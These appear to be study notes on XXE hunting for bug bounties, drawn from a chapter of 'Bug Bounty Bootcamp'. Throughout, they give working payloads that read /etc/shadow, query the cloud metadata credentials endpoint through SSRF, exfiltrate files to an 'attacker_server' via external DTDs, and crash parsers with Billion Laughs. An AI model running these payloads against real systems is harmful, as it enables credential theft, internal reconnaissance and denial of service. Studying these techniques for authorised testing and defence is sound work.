Table of Contents

BBC Ch 15: XML External Entity (XXE)

Source: Bug Bounty Bootcamp by Vickie Li

How XXE Works

XML documents can define external entities via the DOCTYPE tag: <code xml> <?xml version=“1.0” encoding=“UTF-8”?> <!DOCTYPE example [

<!ENTITY file SYSTEM "file:///etc/shadow">

]> <example>&file;</example> ```

When parsed, the server substitutes &file; with the contents of /etc/shadow. If users can supply or modify the DTD, they can read local files, trigger SSRF, or cause DoS.

Prevention

Hunting for XXEs

Step 1: Find XML Entry Points

Step 2: Test for Classic XXE

Check whether entity references are processed: <code xml> <?xml version=“1.0” encoding=“UTF-8”?> <!DOCTYPE example [

<!ENTITY test SYSTEM "file:///etc/hostname">

]> <example>&test;</example> ```

If PUBLIC is needed instead of SYSTEM: <code xml> <!ENTITY test PUBLIC “abc” “file:/etc/hostname”> ``` Target useful files: /etc/hostname, /etc/passwd, ~/.bash_history (may contain internal URLs, IPs, secrets). ==== Step 3: Test for Blind XXE ==== Set up a listener (Netcat nc -lp 80 or Burp Collaborator) and make the parser fetch a resource from it: <code xml> <?xml version=“1.0” encoding=“UTF-8”?> <!DOCTYPE example [ <!ENTITY test SYSTEM “http://attacker_server:80/xxe_test.txt”> ]> <example>&test;</example> ``` Check server access logs for an incoming GET request to confirm blind XXE. ==== Step 4: Embed XXE Payloads in File Uploads ==== SVG with XXE payload: <code xml> <?xml version=“1.0” encoding=“UTF-8”?> <!DOCTYPE example [ <!ENTITY test SYSTEM “file:/etc/shadow”> ]> <svg width=“500” height=“500”>

<circle cx="50" cy="50" r="40" fill="blue" />
<text font-size="16" x="0" y="16">&test;</text>

</svg> ```

DOCX/PPTX/XLSX: unzip, insert payload into /word/document.xml or /ppt/presentation.xml, repack with zip -r filename.docx *.

Step 5: XInclude Attacks

When you cannot control the full XML document but can inject a value into it: <code xml> <example xmlns:xi=“http://www.w3.org/2001/XInclude”>

<xi:include parse="text" href="file:///etc/hostname"/>

</example> ```

Escalating the Attack

Read Files

<code xml> <?xml version=“1.0” encoding=“UTF-8”?> <!DOCTYPE example [

<!ENTITY file SYSTEM "file:///etc/shadow">

]> <example>&file;</example> ```

Launch SSRF

<code xml> <?xml version=“1.0” encoding=“UTF-8”?> <!DOCTYPE example [

<!ENTITY file SYSTEM "http://169.254.169.254/latest/meta-data/iam/security-credentials/">

]> <example>&file;</example> ```

Port scan by swapping port numbers: http://10.0.0.1:80, http://10.0.0.1:22, etc.

Blind XXE Data Exfiltration (External DTD + Parameter Entities)

Host this as xxe.dtd on your server: <code> <!ENTITY % file SYSTEM “file:/etc/shadow”> <!ENTITY % ent “<!ENTITY &#x25; exfiltrate SYSTEM 'http://attacker_server/?%file;'>”> %ent; %exfiltrate; ``` Then submit: <code xml> <?xml version=“1.0” encoding=“UTF-8”?> <!DOCTYPE example [ <!ENTITY % xxe SYSTEM “http://attacker_server/xxe.dtd”> %xxe; ]> ``` The target fetches your DTD, executes it, and sends /etc/shadow contents as a URL parameter to your server. Error-based exfiltration (simpler): reference a nonexistent file whose path includes the secret: <code> <!ENTITY % file SYSTEM “file:/etc/shadow”> <!ENTITY % ent “<!ENTITY &#x25; error SYSTEM 'file:/nonexistent/?%file;'>”> %ent; %error; ``` The parser error message includes the file contents. CDATA wrapping for files containing XML special chars (<, >, &, “): <code> <!ENTITY % file SYSTEM “file:/passwords.xml”> <!ENTITY % start ”<![CDATA[“> <!ENTITY % end ”]]>“> <!ENTITY % ent ”<!ENTITY &#x25; exfiltrate 'http://attacker_server/?%start;%file;%end;'>“> %ent; %exfiltrate; ```

PHP wrapper to base64-encode the file (bypasses special chars): <code> <!ENTITY % file SYSTEM “php:filter/convert.base64-encode/resource=/etc/shadow”> ``` ==== Billion Laughs DoS ==== Do NOT test on live targets. This payload causes exponential entity expansion, crashing the parser: <code xml> <!DOCTYPE example [ <!ENTITY lol “lol”> <!ENTITY lol1 ”&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;“> <!ENTITY lol2 ”&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;“> <!ENTITY lol9 ”&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;“> ]> <example>&lol9;</example> ``` ===== 8-Step Checklist ===== - Find XML entry points: proxy traffic, look for <?xml, decode base64 blobs, try Content-Type switching. - Test classic XXE: submit a DTD that reads /etc/hostname and check the response. - Test blind XXE: make the parser fetch a resource from your listener server. - Embed XXE payloads in file uploads (SVG, DOCX, PPTX, XLSX). - Try XInclude if you can inject into an XML document but can't control the DTD. - Exfiltrate sensitive files (/etc/shadow, ~/.bash_history) via classic or blind XXE. - Launch SSRF via XXE to reach internal services or cloud metadata endpoints. - Draft report with a minimal PoC showing the file contents returned or an outbound request to your listener.